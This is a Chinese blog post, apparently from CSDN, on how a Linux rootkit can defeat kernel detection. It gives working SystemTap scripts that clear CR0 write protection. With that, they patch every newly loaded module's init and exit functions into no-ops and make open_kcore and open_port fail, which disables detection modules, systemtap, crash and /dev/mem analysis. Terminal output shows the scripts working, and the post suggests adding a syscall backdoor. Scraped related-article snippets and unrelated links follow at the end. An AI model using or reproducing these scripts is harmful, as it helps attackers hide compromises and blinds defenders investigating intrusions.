来自 Linux Rootkit如何避开内核检测的

Rootkit在登堂入室并得手后,还要记得把门锁上。

如果我们想注入一个Rootkit到内核,同时不想被侦测到,那么我们需要做的是精妙的隐藏,并保持低调静悄悄,这个话题我已经谈过了,诸如进程摘链,TCP链接摘链潜伏等等,详情参见:
https://blog.csdn.net/dog250/article/details/105371830
https://blog.csdn.net/dog250/article/details/105394840

然则天网恢恢,疏而不漏,马脚总是要露出来的。如果已经被怀疑,如何反制呢?

其实第一时间采取反制措施势必重要!我们需要的只是占领制高点,让后续的侦测手段无从开展。

我们必须知道都有哪些侦测措施用来应对Rootkit,常见的,不外乎以下:

  • systemtap,raw kprobe/jprobe,ftrace等跟踪机制。它们通过内核模块起作用。
  • 自研内核模块,采用指令特征匹配,指令校验机制排查Rootkit。
  • gdb/kdb/crash调试机制,它们通过/dev/mem,/proc/kcore起作用。

和杀毒软件打架一样,Rootkit和反Rootkit也是互搏的对象。 无论如何互搏,其战场均在内核态。

很显然,我们要做的就是:

  1. 第一时间封堵内核模块的加载。
  2. 第一时间封堵/dev/mem,/proc/kcore的打开。

行文至此,我们应该已经可以说出无数种方法来完成上面的事情,对我个人而言,我的风格肯定又是二进制hook,但这次我希望用一种 正规的方式 来搞事情。

什么是正规的方式,什么又是奇技淫巧呢?

我们知道,Linux内核的text段是在编译时静态确定的,加载时偶尔有重定向,但依然保持着紧凑的布局,所有的内核函数均在一个范围固定的紧凑内存空间内。

因此凡是往超过该固定范围的地方进行call/jmp的,基本都是违规,都应该严查。换句话说, 静态代码不能往动态内存进行直接的call/jmp(毕竟静态代码并不知道动态地址啊), 如果静态代码需要动态的函数完成某种任务,那么只能用 回调, 而回调函数在指令层面是要借助寄存器来寻址的,而不可能用rel32立即数来寻址。

如果我们在静态的代码中hack掉一条call/jmp指令,使得它以新的立即数作为操作数call/jmp到我们的动态代码,那么这就是一个奇技淫巧,这就是不正规的方式。

反之,如果我们调用Linux内核现成的接口注册一个回调函数来完成我们的任务,那么这就是一种正规的方式,本文中我将使用一种基于 内核通知链(notifier chain) 的正规技术,来封堵内核模块。

下面步入正题。

首先,我们来看第一点。下面的stap脚本展示了如何做:

#!/usr/bin/stap -g
// dismod.stp
%{// 我们利用通知链机制。
// 每当内核模块进行加载时,都会有消息在通知链上通知,我们只需要注册一个handler。
// 我们的handler让该模块“假加载”!
static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)
{int i;struct module *mod = (struct module *)data;unsigned char *init, *exit;unsigned long cr0;if (action != MODULE_STATE_COMING)return NOTIFY_OK;init = (unsigned char *)mod->init;exit = (unsigned char *)mod->exit;// 为了避免校准rel32调用偏移,直接使用汇编。asm volatile("mov %%cr0, %%r11; mov %%r11, %0;\n" :"=m"(cr0)::);clear_bit(16, &cr0);asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);// 把模块的init函数换成"return 0;"init[0] = 0x31;   // xor %eax, %eaxinit[1] = 0xc0;   // retqinit[2] = 0xc3; // retq// 把模块的exit函数换成"return;" 防止侦测模块在exit函数中做一些事情。exit[0] = 0xc3;set_bit(16, &cr0);asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);return NOTIFY_OK;
}struct notifier_block *dismod_module_nb;
notifier_fn_t _dismod_module_notify;
%}function dismod()
%{int ret = 0;// 正规的方法,我们可以直接从vmalloc区域直接分配内存。dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));if (!dismod_module_nb) {printk("malloc nb failed\n");return;}// 必须使用__vmalloc接口分配可执行(PAGE_KERNEL_EXEC)内存。_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);if (!_dismod_module_notify) {printk("malloc stub failed\n");return;}memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);dismod_module_nb->notifier_call = _dismod_module_notify;dismod_module_nb->priority = 1;ret = register_module_notifier(dismod_module_nb);if (ret) {printk("notifier register failed\n");return;}
%}probe begin
{dismod();exit();
}

现在,让我们运行上述脚本:

[root@localhost test]# ./dismod.stp
[root@localhost test]#

我们的预期是,此后所有的模块将会 “假装” 成功加载进内核,但实际上并不起任何作用,因为模块的_init函数被短路绕过,不再执行。

来吧,我们写一个简单的内核模块,看看效果:

// testmod.c
#include <linux/module.h>noinline int test_module_function(int i)
{printk("%d\n", i);// 我们的测试模块非常狠,一加载就让内核panic。panic("shabi");
}static int __init testmod_init(void)
{printk("init\n");test_module_function(1234);return 0;
}static void __exit testmod_exit(void)
{printk("exit\n");
}module_init(testmod_init);
module_exit(testmod_exit);
MODULE_LICENSE("GPL");

如果我们在没有执行dismod.stp的情况下加载上述模块,显而易见,内核会panic,万劫不复。但实际上呢?

编译,加载之:

[root@localhost test]# insmod ./testmod.ko
[root@localhost test]# lsmod |grep testmod
testmod                12472  0
[root@localhost test]# cat /proc/kallsyms |grep testmod
ffffffffa010b027 t testmod_exit [testmod]
ffffffffa010d000 d __this_module    [testmod]
ffffffffa010b000 t test_module_function [testmod]
ffffffffa010b027 t cleanup_module   [testmod]
[root@localhost test]# rmmod testmod
[root@localhost test]#
[root@localhost test]# echo $?
0

内核什么也没有打印,也并没有panic,相反,模块成功载入,并且其所有的符号均已经注册成功,并且还能成功卸载。这意味着,模块机制失效了!

我们试试还能使用systemtap么?

[root@localhost ~]# stap -e 'probe kernel.function("do_fork") { printf("do_fork\n"); }'
ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?
ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?
ERROR: 'stap_aa0322744e3a33fc0c3a1a7cd811d932_3097' is not a zombie systemtap module.
WARNING: /usr/bin/staprun exited with status: 1
Pass 5: run failed.  [man error::pass5]

看来不行了。

假设该机制用于Rootkit的反侦测,如果想用stap跟踪内核,进而查出异常点,这一招已经失效。

接下来,让我们封堵/dev/mem,/proc/kcore,而这个简直太容易了:

#!/usr/bin/stap -g
// diskcore.stp
function kcore_poke()
%{unsigned char *_open_kcore, *_open_devmem;unsigned char ret_1[6];unsigned long cr0;_open_kcore = (void *)kallsyms_lookup_name("open_kcore");if (!_open_kcore)return;_open_devmem = (void *)kallsyms_lookup_name("open_port");if (!_open_devmem)return;// 下面的指令表示 return -1;即返回错误!也就意味着“文件不可打开”。ret_1[0] = 0xb8; // mov $-1, %eax;ret_1[1] = 0xff;ret_1[2] = 0xff;ret_1[3] = 0xff;ret_1[4] = 0xff;ret_1[5] = 0xc3; // retq// 这次我们俗套一把,不用text poke,借用更简单的CR0来完成text的写。cr0 = read_cr0();clear_bit(16, &cr0);write_cr0(cr0);// text内存已经可写,直接用memcpy来吧。memcpy(_open_kcore, ret_1, sizeof(ret_1));memcpy(_open_devmem, ret_1, sizeof(ret_1));set_bit(16, &cr0);write_cr0(cr0);
%}probe begin
{kcore_poke();exit();
}

来吧,我们试一下crash命令:

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem
...
This program has absolutely no warranty.  Enter "help warranty" for details.crash: /dev/mem: Operation not permittedUsage:crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS]  (dumpfile form)crash [OPTION]... [NAMELIST]                     (live system form)Enter "crash -h" for details.
[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore
...
crash: /proc/kcore: Operation not permitted
...

哈哈,完全无法调试live kernel了!试问如何抓住Rootkit现场?

注意,上面的两个机制,必须让禁用/dev/mem,/proc/kcore先于封堵模块执行,不然就会犯形而上学的错误,自己打自己。上述方案仅做演示,正确的做法应该是将它们合在一起:

#!/usr/bin/stap -g
// anti-sense.stp
%{static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)
{int i;struct module *mod = (struct module *)data;unsigned char *init, *exit;unsigned long cr0;if (action != MODULE_STATE_COMING)return NOTIFY_OK;init = (unsigned char *)mod->init;exit = (unsigned char *)mod->exit;// 为了避免校准rel32调用偏移,直接使用汇编。asm volatile("mov %%cr0, %%r11; mov %%r11, %0;\n" :"=m"(cr0)::);clear_bit(16, &cr0);asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);// 把模块的init函数换成"return 0;"init[0] = 0x31;   // xor %eax, %eaxinit[1] = 0xc0;   // retqinit[2] = 0xc3; // retq// 把模块的exit函数换成"return;"exit[0] = 0xc3;set_bit(16, &cr0);asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);return NOTIFY_OK;
}struct notifier_block *dismod_module_nb;
notifier_fn_t _dismod_module_notify;
%}function diskcore()
%{unsigned char *_open_kcore, *_open_devmem;unsigned char ret_1[6];unsigned long cr0;_open_kcore = (void *)kallsyms_lookup_name("open_kcore");if (!_open_kcore)return;_open_devmem = (void *)kallsyms_lookup_name("open_port");if (!_open_devmem)return;// 下面的指令表示 return -1;ret_1[0] = 0xb8; // mov $-1, %eax;ret_1[1] = 0xff;ret_1[2] = 0xff;ret_1[3] = 0xff;ret_1[4] = 0xff;ret_1[5] = 0xc3; // retq// 这次我们俗套一把,不用text poke,借用更简单的CR0来完成text的写。cr0 = read_cr0();clear_bit(16, &cr0);write_cr0(cr0);memcpy(_open_kcore, ret_1, sizeof(ret_1));memcpy(_open_devmem, ret_1, sizeof(ret_1));set_bit(16, &cr0);write_cr0(cr0);
%}function dismod()
%{int ret = 0;// 正规的方法,我们可以直接从vmalloc区域直接分配内存。dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));if (!dismod_module_nb) {printk("malloc nb failed\n");return;}// 必须使用__vmalloc接口分配可执行(PAGE_KERNEL_EXEC)内存。_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);if (!_dismod_module_notify) {printk("malloc stub failed\n");return;}memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);dismod_module_nb->notifier_call = _dismod_module_notify;dismod_module_nb->priority = 1;printk("notify addr:%p\n", _dismod_module_notify);ret = register_module_notifier(dismod_module_nb);if (ret) {printk("notify register failed\n");return;}
%}probe begin
{dismod();diskcore();exit();
}

从此以后,若想逮到之前的那些Rootkit,你无法加载内核模块,无法crash调试,无法自己编程mmap /dev/mem,重启吧!重启之后呢?一切归于尘土。

然而,我们自己怎么办?这将把我们自己的退路也同时封死,只要使用电压冻结住内存快照,离线分析,真相必将大白!我们必须给自己留个退路,以便捣毁并恢复现场后,全身而退,怎么做到呢?

很容易,还记得在文章 “Linux动态为内核添加新的系统调用” 中的方法吗?我们封堵了前门的同时,以新增系统调用的方式留下后门,岂不是很正常的想法?

最后,上面的所有内容,本无善恶褒贬,同样可以利用它来 防止内核被Rootkit注入。 重要的是,谁的速度快,谁先占领制高点。

是的。经理也是这样想的。然而,经理不拉二胡,因为拉二胡落下的松香灰会把经理west trousers弄脏。


浙江温州皮鞋湿,下雨进水不会胖。

Linux Rootkit躲避内核检测相关推荐

  1. linux rootkit手动排查,Linux Rootkit如何避开内核检测的

    Rootkit在登堂入室并得手后,还要记得把门锁上. 如果我们想注入一个Rootkit到内核,同时不想被侦测到,那么我们需要做的是精妙的隐藏,并保持低调静悄悄,这个话题我已经谈过了,诸如进程摘链,TC ...

  2. linux Rootkit:x86与ARM的内联内核函数Hooking

    介绍 几个月前,我添加了一个新的项目.(https://github.com/mncoppola/suterusu)         通过我的各种对路由器后门及内核漏洞利用的探险,我最近的兴趣转向Li ...

  3. Linux故障之内核反向路由检测

    参考链接 环境: centos8,双网卡 ens18: 192.168.6.51 ens19: 192.168.2.111 过程中发现,client:192.168.6.41去访问192.168.6. ...

  4. Linux Rootkit 系列三:实例详解 Rootkit 必备的基本功能

    本文所需的完整代码位于笔者的代码仓库:https://github.com/NoviceLive/research-rootkit. 测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试 ...

  5. Linux Rootkit Learning

    目录 1. 学习Rootkit需要了解的基础知识 2. 挂钩(HOOKING) 3. 直接内核对象操作 4. LSM框架(Linux Security Module)于LKM安全 5. rootkit ...

  6. linux rootkit 端口复用,Linux Rootkit系列三:实例详解 Rootkit 必备的基本功能

    前言鉴于笔者知识能力上的不足,如有疏忽,欢迎纠正. 测试建议: 不要在物理机测试!不要在物理机测试! 不要在物理机测试! 概要 在 上一篇文章中笔者详细地阐述了基于直接修改系统调用表 (即 sys_c ...

  7. Linux Rootkit 系列四:对于系统调用挂钩方法的补充

    本篇文章按照之前文章所说的,来介绍linux rootkit中的系统调用挂钩技术. 1.背景 本次环境依然是linux 2.6系列内核,ubuntu10.04. 本篇文章及上篇文章的示例代码:Gith ...

  8. Linux 实例常用内核网络参数介绍与常见问题处理

    查看和修改 Linux 实例内核参数 方法一.通过 /proc/sys/ 目录 查看内核参数:使用 cat 查看对应文件的内容,例如执行命令 cat /proc/sys/net/ipv4/tcp_tw ...

  9. Linux 2.6内核中新的锁机制--RCU [转]

    2005 年 7 月 01 日 本文详细地介绍了 Linux 2.6 内核中新的锁机制 RCU(Read-Copy Update) 的实现机制,使用要求与典型应用. 一. 引言 众所周知,为了保护共享 ...

最新文章

  1. 教程:2、第一个Python程序
  2. invalid dts/pts combination
  3. python刷抖音_用Python生成抖音字符视频!
  4. 我不看好data2vec这类多模态融合的研究
  5. Nginx的配置中与流量分发相关的配置规范:
  6. 8005.ros2 添加boost库asio编程
  7. 架构解密从分布式到微服务:微服务架构到底是什么?
  8. echo 单引号和双引号
  9. (day 47 - 位运算 ) 剑指 Offer 65. 不用加减乘除做加法
  10. 用友ERP-NC系统 漏洞 NCFindWeb接口任意文件下载
  11. 素数环java_素数环(java实现)
  12. 2006 精品论坛推荐
  13. springboot整合quartz定时任务
  14. MaaS出行即服务简单介绍
  15. 恒指赵鑫:06.13今日实盘喊单记录与小结
  16. 音视频开发(四)——编码音频
  17. css3中transition过渡和animation动画的区别
  18. hdu.6441 Find Integer
  19. 【Bash百宝箱】shell内建命令之builtin、command、caller
  20. xshell编程自动备份数据库

热门文章

  1. 卡尔曼滤波器、扩展卡尔曼滤波器、无向卡尔曼滤波器的详细推导
  2. studio 3T连接不上mongoDB
  3. STM32CubeMX学习笔记(16)——电源管理(PWR)低功耗停止模式
  4. 基于EinScan-S的编码结构光方法空间三维模型重建
  5. Windows值得推荐的桌面管理软件
  6. python--dict容器
  7. 数据结构与算法一:稀疏数组 队列 链表
  8. oracle查询不走索引的一些情况(索引失效)
  9. Android项目实战--手机卫士35--清除程序缓存
  10. 【Java】【系列篇】【Spring源码解析】【三】【体系】【BeanFactory体系】